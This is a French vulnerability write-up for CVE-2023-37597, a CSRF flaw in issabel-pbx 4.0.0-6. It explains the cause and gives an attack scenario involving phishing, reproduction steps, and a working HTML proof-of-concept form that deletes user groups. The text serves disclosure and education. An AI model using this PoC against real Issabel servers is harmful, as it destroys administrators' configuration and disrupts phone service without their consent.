CVE-2023-37597 — issabel-pbx 4.0.0-6: Cross-Site Request Forgery (CSRF) — Suppression de groupe d'utilisateurs

Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cet exploit contre un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.

---

Table des matières

• Aperçu
• Détails de la vulnérabilité
• Produit concerné
• Analyse technique
• Scénario d'attaque
• Preuve de concept (PoC)
  • Étapes de reproduction
  • Code de l'exploit PoC
• Impact
• Atténuation et remédiation
• Chronologie de la divulgation
• Références
• Auteur

---

Aperçu

issabel-pbx est une plateforme de communications unifiées (PBX) open source largement utilisée qui fournit des services VoIP, une gestion téléphonique et une administration web. La version 4.0.0-6 d'issabel-pbx contient une vulnérabilité de Cross-Site Request Forgery (CSRF) dans sa fonctionnalité de gestion des groupes d'utilisateurs.

Un attaquant distant non authentifié peut créer une page HTML malveillante qui, lorsqu'elle est consultée par un administrateur authentifié, émet silencieusement une requête HTTP POST falsifiée pour supprimer n'importe quel groupe d'utilisateurs. Comme l'application ne valide pas l'origine des requêtes modifiant l'état à l'aide de jetons CSRF ou de politiques de cookies SameSite, le navigateur inclut automatiquement le cookie de session de l'administrateur, ce qui permet à la suppression de réussir sans que la victime en ait connaissance ou y consente.

---

Détails de la vulnérabilité

Champ	Valeur
Identifiant CVE	CVE-2023-37597
Vulnérabilité	Cross-Site Request Forgery (CSRF)
CWE	CWE-352 — Cross-Site Request Forgery (CSRF)
Sévérité	Moyenne
Vecteur CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Version affectée	issabel-pbx 4.0.0-6
Date de divulgation	10 juillet 2023
Chercheur	Sahil Ojha

---

Produit concerné

Champ	Valeur
Nom du produit	issabel-pbx
Version	4.0.0-6
Éditeur	Issabel Foundation
Page d'accueil de l'éditeur	https://www.issabel.org/
Code source	https://github.com/IssabelFoundation/issabelPBX
Testé sur	Windows (Burp Suite Community Edition)

---

Analyse technique

Qu'est-ce que le CSRF ?

Le Cross-Site Request Forgery (CSRF) est une attaque qui amène le navigateur d'une victime à envoyer une requête authentifiée à une application cible au nom de l'attaquant. L'attaque réussit lorsque :

1. La victime dispose d'une session authentifiée active avec l'application cible.
2. L'application s'appuie uniquement sur les cookies de session pour authentifier les requêtes (c'est-à-dire aucun jeton CSRF, aucune validation Origin/Referer, aucun attribut de cookie SameSite=Strict ou SameSite=Lax).
3. L'attaquant peut prédire la structure de la requête modifiant l'état.

Cause racine

Le point de terminaison de suppression de groupe d'utilisateurs (/index.php?menu=grouplist) dans issabel-pbx 4.0.0-6 traite les requêtes HTTP POST qui contiennent uniquement l'action delete et un paramètre id_user. L'application ne fait pas ce qui suit :

• Générer ou valider un jeton synchronisateur (anti-CSRF).
• Vérifier les en-têtes HTTP Origin ou Referer.
• Définir l'attribut SameSite sur les cookies de session.

Par conséquent, toute page web chargée dans le navigateur de la victime peut soumettre silencieusement le formulaire de suppression en utilisant la session existante de la victime, car le navigateur joindra automatiquement le cookie de session.

Point de terminaison vulnérable

POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>

delete=Delete&id_user=<USER_GROUP_ID>

---

Scénario d'attaque

1. L'attaquant crée une page HTML malveillante contenant un formulaire masqué qui envoie la requête de suppression au panneau d'administration Issabel.
2. L'attaquant livre la page à un administrateur Issabel authentifié — par e-mail d'hameçonnage, un lien dans un message de chat, ou une `` intégrée sur une page compromise.
3. Le navigateur de la victime charge la page. JavaScript soumet automatiquement le formulaire, ou la victime est incitée par ingénierie sociale à cliquer sur un faux bouton « Submit ».
4. Le serveur Issabel reçoit une requête POST valide avec le cookie de session de l'administrateur et supprime le groupe d'utilisateurs ciblé sans confirmation supplémentaire ni validation de jeton.
5. Le groupe d'utilisateurs est définitivement supprimé, ce qui peut perturber le routage des appels, les contrôles d'accès et tous les utilisateurs qui dépendaient de ce groupe — provoquant ainsi un déni de service au niveau de l'application.

---

Preuve de concept (PoC)

Avertissement : Le PoC suivant est fourni strictement à des fins éducatives. Utilisez-le uniquement dans des environnements de laboratoire ou sur des systèmes pour lesquels vous disposez d'une autorisation explicite.

Étapes de reproduction

Étape 1 — Connexion au panneau d'administration Issabel

Accédez à la page de la liste des groupes d'utilisateurs et connectez-vous avec des identifiants d'administrateur.

https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

---

Étape 2 — Capture de la requête de suppression

Tentez de supprimer un groupe d'utilisateurs en faisant transiter le trafic par Burp Suite. Cliquez avec le bouton droit sur la requête POST capturée et sélectionnez Engagement Tools → Generate CSRF PoC pour générer le squelette HTML de l'exploit.

---

Étape 3 — Hébergement de la page d'exploit CSRF

Enregistrez le HTML généré dans un fichier (voir Code de l'exploit PoC ci-dessous). Hébergez-le sur un serveur contrôlé par l'attaquant, ou envoyez-le directement à la victime.

---

Étape 4 — La victime ouvre la page d'exploit

Lorsque l'administrateur authentifié ouvre l'URL de l'exploit ou y est redirigé, le formulaire masqué est soumis automatiquement (ou la victime clique sur le bouton leurre). Le groupe d'utilisateurs ciblé est supprimé du panneau d'administration.

---

Code de l'exploit PoC

Le fichier HTML suivant (également disponible sous le nom CSRF exploit.html) démontre l'attaque. Remplacez {Issabel IP} par l'hôte cible et ajustez id_user pour qu'il corresponde à l'identifiant du groupe que vous souhaitez supprimer.

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_user" value="7" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>